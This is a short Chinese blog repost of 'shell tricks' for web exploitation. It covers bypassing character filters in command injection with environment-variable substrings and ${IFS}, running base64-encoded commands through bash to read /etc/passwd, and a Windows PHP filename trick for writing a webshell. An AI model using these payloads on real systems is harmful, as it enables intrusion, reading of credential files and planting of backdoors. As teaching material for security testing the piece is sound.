shell小技巧
2022/7/8 5:21:30
本文主要是介绍shell小技巧,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.过滤了 空格 . / ; ` ' > 等字符,怎么执行任意命令
首先执行一下env命令
,看看环境变量里有哪些可以用到的变量。比如:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
那么字符“/”就可以用${PATH:0:1}代替。
又比如有个变量是PHP_VERSION=5.6.30
,所以就可以用${PHP_VERSION:1:1}
代替。
空格的替代比较多,比如%09 %0a ,还有${IFS}
/
等符号替代 cat $(expr substr $PATH 1 1)etc$(expr substr $PATH 1 1)passwd
2.base64+管道符来执行命令
将任意命令base64编码以后,直接执行echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
即可。
3.有下列代码
<?php $filename = __DIR__ . '/tmp/' . $user['name']; $data = $user['info']; file_put_contents($filename, $data); // ...一些处理 if (file_exists($filename)) { unlink($filename); } ?>
windows下有以下方法:
info=webshell&name=1.php:test
info=webshell&name=1.ph<
依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。
(其他方法:条件竞争;php_apache2_操作系统之间的一些黑魔法 | wonderkun's | blog)
这篇关于shell小技巧的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-09“2024鸿蒙零基础快速实战-仿抖音App开发(ArkTS版)”实战课程已上线
- 2024-05-09聊聊如何通过arthas-tunnel-server来远程管理所有需要arthas监控的应用
- 2024-05-09log4j2这么配就对了
- 2024-05-09nginx修改Content-Type
- 2024-05-09Redis多数据源,看这篇就够了
- 2024-05-09Google Chrome驱动程序 124.0.6367.62(正式版本)去哪下载?
- 2024-05-09有没有大佬知道这种数据应该怎么抓取呀?
- 2024-05-09这种运行结果里的10.100000001,怎么能最快改成10.1?
- 2024-05-09企业src漏洞挖掘-有意思的命令执行
- 2024-05-08阿里云域名注册流程,分享给第一次购买域名的新手站长!